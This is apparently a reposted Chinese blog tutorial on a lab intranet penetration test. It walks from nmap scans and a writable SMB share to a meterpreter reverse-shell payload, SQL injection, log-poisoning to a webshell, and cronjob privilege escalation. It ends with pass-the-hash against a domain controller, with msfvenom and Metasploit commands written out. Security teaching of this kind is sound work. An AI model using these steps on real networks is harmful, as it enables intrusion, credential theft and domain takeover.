一个完整的内网渗透是什么样子的

本文阅读 7 分钟

0x00 前言

今天这篇文章将试图呈现一个完整的内网渗透过程。文章略长,如果感兴趣的话,请耐心阅读!

0x01 案例分析

实验环境:

  • 目标环境:10.0.0.0/24, 10.0.1.0/24
  • 攻击主机:10.0.0.5 (Kali), 10.0.0.7 (Windows)

渗透过程:

基本的主机探测:

root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt

任意选取其中的一个online的IP(如:10.0.0.9)进一步探测:

root@kali:~# nmap -sV -A -O 10.0.0.9

从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP,继续探测:

root@kali:~# nmap --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 10.0.0.9

此时,我们发现该主机存在一个可读写的share folder 10.0.0.9share:

root@kali:~# smbclient //10.0.0.9/share -N

为了进一步了解,登录我们用于渗透的另一台Windows主机(10.0.0.7)。

img

发现,这个共享文件夹里包含了一个定期监控运行进程的python脚本。

import win32com.client

由于该文件夹可读写,我们可以生成并放置一个meterpreter的payload,然后修改该python脚本来执行它,这样我们就可以得到一个meterpreter session了。

root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe

修改python脚本如下:

import win32com.client

几分钟后,我们顺利地获得了一个meterpreter session了。

msf exploit(handler) > sessions

同时,可以看出这个机器具有多个网卡且横跨在2个网段中(10.0.0.9/24和10.0.1.9/24)。因此,我们也可以利用这个机器做跳板继续渗透10.0.1.0/24这段里的机器。

meterpreter > run get_local_subnets

利用auxiliary/scanner/portscan/tcp去扫描10.0.1.0/24段,如下:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

我们任意选取其中的一台机器(如:10.0.1.11),我们发现其开放了80和22端口。接下来,我们可以在session 2里设置端口转发,将攻击机(10.0.0.5)上的8080端口转发到目标机(10.0.1.7)上的80端口,方便我们后续的测试。

msf auxiliary(tcp) > sessions 2

这时,我们再次登录我们的Windows渗透机器(10.0.0.7)来查看一下这是个什么网站。

img

经过测试发现,这个登录功能存在SQL Injection,可以通过以下的用户名和密码登录:

username: admin

img

经过观察发现,这个网站应该直接本地文件包含了web服务器的access_log,因此我们可以想到利用文件包含漏洞来生成一个webshell,具体步骤如下:

  1. 发送一个包含webshell代码的HTTP请求使其被写入到access_log里, 如一个仅包含上传功能的php小马

img

  1. 访问http://10.0.0.5:8080/admin.php来文件包含access_log使其中的php代码被执行,从获取一个具备上传功能的php小马

img

  1. 访问http://10.0.0.5:8080/upload.php并上传一个功能齐全的PHP webshell

img

  1. 访问http://10.0.0.5:8080/shell.php并输入密码qwer,则成功地获取了一个webshell

img

利用webshell提供的功能我们发现这只是一个用于运行web service的低权限的用户(daemon),那么接下来我们需要解决的问题就是本地提权到root权限。

img

img

如上图,我们找到了一个777权限的root用户所拥有的cronjob文件/etc/cron.hourly/clean_up_access_log。看起来这个脚本似乎是用于定期清理access_log的。因此,我们似乎可以利用它来获得一个root权限的meterpreter shell。

首先,生成一个Linux的meterpreter payload并通过webshell上传到目标主机上并添加执行权限;

root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf

接着,修改/etc/cron.hourly/clean_up_access_log使其可以执行我们上传的payload并等待cronjob的下次执行;

system(“echo ‘/opt/lampp/htdocs/root.elf’ >> /etc/cron.hourly/clean_up_access_log”);

最后,我们成功地在目标机器(10.0.1.11)上获得了一个root权限的meterpreter session,如下:

msf exploit(handler) > use exploit/multi/handler

利用上面获得的root权限的meterpreter session,我意外的发现了一个有趣的文件/root/readme.txt,其中包含了一个远程FTP(10.0.1.26)的口令和密码。

cat /root/readme.txt

既然拿到了这个信息,我们不妨再次探测一下我们的下一个目标(10.0.1.26)。

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

果不其然,目标机(10.0.1.26)确实存在一个FTP站点。进入上面获得的session 2,在目标机10.0.0.9(10.0.1.9)上添加一个管理员账号:

msf auxiliary(tcp) > sessions 2

接着RDP到目标主机10.0.0.9(10.0.1.9)上,并尝试使用已经获取的口令登录。

img

结果显示,我们成功地登录了该FTP站点,且具备读写权限。另外,我们还发现该FTP为目标机10.0.1.26上的一个web站点的根目录。因此,我们可以通过该FTP轻松地上传一个webshell.php文件,如下:

img

有了webshell我们便可以上传一个meterpreter payload来获取一个功能强大的meterpreter session了。

msf auxiliary(tcp) > use exploit/multi/handler

同时,我们发现目标机(10.0.1.26)是一个加入了GBOX域的机器,且DNS服务器的IP是10.0.1.7:

meterpreter > shell

那么接下来,我们的下一个目标就是IP为10.0.1.7的域控服务器了。

经过一系列测试,发现目标机似乎只接受来自IP10.0.1.26(Session 5)的流量,因此我们需要先添加一个专门的路由使我们的攻击机(10.0.0.5)流量可以抵达目标主机(10.0.1.7)。

msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5

首先,搜集利用hashdump命令收集一下主机10.0.1.26的所有密码Hash:

msf exploit(handler) > sessions 5

接着,我们可以尝试使用Pass The Hash来测试一下我们的目标机(10.0.1.7),并成功地拿下了该域控服务器。

msf exploit(psexec) > show options

至此,我们已经成功地拿下了所有实验环境下的主机控制权限。

msf exploit(psexec) > sessions

0x02 小结

本文重点介绍了一个相对完整的内网渗透过程(即:外网主机-内网主机-内网域内主机-内网域控服务器)。当然,这只是个简单的实验环境,实际实战中遇到的情况会比这复杂很多(比如:各种反病毒程序的bypass,内网反入侵系统的检测的绕过等等),但是基本思路和方法都是类似和想通的。另外,因笔者水平有限,文中表达不当或者不正确的地方,也敬请谅解和指正。

需要网络安全学习视频,全套工具包、渗透测试书籍、src技术文档、应急响应、CTF、逆向等资源【点我领取】

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/kali_Ma/article/details/119646737
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复